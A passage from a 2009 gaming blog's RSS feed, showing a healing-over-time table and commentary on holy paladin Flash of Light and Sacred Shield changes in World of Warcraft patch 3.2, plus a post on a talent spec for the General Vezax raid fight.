<td><B>8.5</B></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td></td>
<td></td>
<td><I>1250</I></td>
</tr>
<tr>
<td><B>9</B></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>5000</td>
<td></td>
<td></td>
<td><I>6250</I></td>
</tr>
<tr>
<td><B>9.5</B></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td></td>
<td></td>
<td><I>1250</I></td>
</tr>
<tr>
<td><B>10</B></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td></td>
<td><I>1667</I></td>
</tr>
<tr>
<td><B>10.5</B></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>5000</td>
<td></td>
<td><I>6250</I></td>
</tr>
<tr>
<td><B>11</B></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td></td>
<td><I>1667</I></td>
</tr>
<tr>
<td><B>11.5</B></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td><I>1667</I></td>
</tr>
<tr>
<td><B>12</B></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>5000</td>
<td><I>6667</I></td>
</tr>
<tr>
<td><B>12.5</B></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td><I>1667</I></td>
</tr>
<tr>
<td><B>13</B></td>
<td></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td><I>1667</I></td>
</tr>
<tr>
<td><B>13.5</B></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td><I>1667</I></td>
</tr>
<tr>
<td><B>14</B></td>
<td></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td><I>1667</I></td>
</tr>
<tr>
<td><B>14.5</B></td>
<td></td>
<td></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td><I>1250</I></td>
</tr>
<tr>
<td><B>15</B></td>
<td></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td><I>1667</I></td>
</tr>
<tr>
<td><B>15.5</B></td>
<td></td>
<td></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td><I>1250</I></td>
</tr>
<tr>
<td><B>16</B></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td><I>1250</I></td>
</tr>
<tr>
<td><B>16.5</B></td>
<td></td>
<td></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td><I>1250</I></td>
</tr>
<tr>
<td><B>17</B></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td><I>1250</I></td>
</tr>
<tr>
<td><B>17.5</B></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td><I>833</I></td>
</tr>
<tr>
<td><B>18</B></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td><I>1250</I></td>
</tr>
<tr>
<td><B>18.5</B></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td><I>833</I></td>
</tr>
<tr>
<td><B>19</B></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td><I>833</I></td>
</tr>
<tr>
<td><B>19.5</B></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td></td>
<td><I>833</I></td>
</tr>
<tr>
<td><B>20</B></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td><I>833</I></td>
</tr>
<tr>
<td><B>20.5</B></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>417</td>
<td></td>
<td><I>417</I></td>
</tr>
<tr>
<td><B>21</B></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>417</td>
<td></td>
<td>417</td>
<td><I>833</I></td>
</tr>
<tr>
<td><B>21.5</B></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>417</td>
<td></td>
<td><I>417</I></td>
</tr>
<tr>
<td><B>22</B></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>417</td>
<td><I>417</I></td>
</tr>
<tr>
<td><B>22.5</B></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>417</td>
<td></td>
<td><I>417</I></td>
</tr>
<tr>
<td><B>23</B></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>417</td>
<td><I>417</I></td>
</tr>
<tr>
<td><B>23.5</B></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><I>0</I></td>
</tr>
<tr>
<td><B>24</B></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>417</td>
<td><I>417</I></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><strong>90000</strong></td>
</tr>
</tbody>
</table>
<p><br<br />
The above table is 12 seconds of FoL spam on a target with SS.  It uses an average FoL heal amount of 5,000 every 1.5s (yes, yes).  After 12 seconds, the HoT is <em>full</em> and provides 1,667 healing ever 0.5 seconds.  Which is pretty absurd <img src='http://project-2501.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Honestly I like our niche as tank healers, and I feel the changes in 3.2 will not do much for raid healing and with regen nerfs, our tank healing will suffer too, leaving us without a niche.</p>
<p>My preference would be to keep beacon as it is in 3.1 (for topping up OTs), take the regen nerfs and have a FoL (like above) that&#8217;s useful for Tank Healing.  We still wont be able raid heal, but we&#8217;ll have a rotation, have to worry about mana, and we&#8217;ll keep our niche.</p>
<p><strong>Edit</strong> GC has confirmed that it will <strong>not</strong> stack or roll in any way.  At the moment it can also be overwritten too, so FoL spam = no HoT ticks.</p>
]]></content:encoded>
			<wfw:commentRss>http://project-2501.net/index.php/2009/06/32-rolling-fol-ss-hots/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Vezax Holy Paladin Spec</title>
		<link>http://project-2501.net/index.php/2009/06/vezax-holy-paladin-spec/</link>
		<comments>http://project-2501.net/index.php/2009/06/vezax-holy-paladin-spec/#comments</comments>
		<pubDate>Mon, 15 Jun 2009 03:23:35 +0000</pubDate>
		<dc:creator>Matthew</dc:creator>
				<category><![CDATA[games]]></category>

		<guid isPermaLink="false">http://project-2501.net/?p=167</guid>
		<description><![CDATA[After much more fun with General Vezax on 25 this week, I thought I would make a small note about the spec I swapped to for this fight.
The basic spec is 28/43/0 which gives up most of our normal healing tools (no shock, no beacon, no bonus crit from the Retribution tree, etc) for Touched [...]]]></description>
			<content:encoded><![CDATA[<p>After much more fun with General Vezax on 25 this week, I thought I would make a small note about the spec I swapped to for this fight.</p>
<p>The basic spec is <a href="http://www.wowhead.com/?talent#sxAzx0bscZEGzhduMGsch">28/43/0</a> which gives up most of our normal healing tools (no shock, no beacon, no bonus crit from the Retribution tree, etc) for Touched by the Light.</p>
<p>With Touched by the Light, my FoL hits for 6000 and crits for 11,000, which drastically changes the way you can heal.  Rather than having to stop casting expensive Holy Lights, you&#8217;re able to use FoL almost exclusively and it&#8217;s no big deal to over heal a bit.</p>
<p><strong>Update (20090622)</strong></p>
<p>Vezax has finally been killed (<a href="http://www.worldoflogs.com/reports/rt-Op9fC5ZVh4JETpLb/sum/healingDone/?s=2950&#038;e=3554">WoL</a>).  The FoL build does seem pretty good, mana was fine until towards the end, but I object to absorb guessing code not assigning any procs to me <img src='http://project-2501.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://project-2501.net/index.php/2009/06/vezax-holy-paladin-spec/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
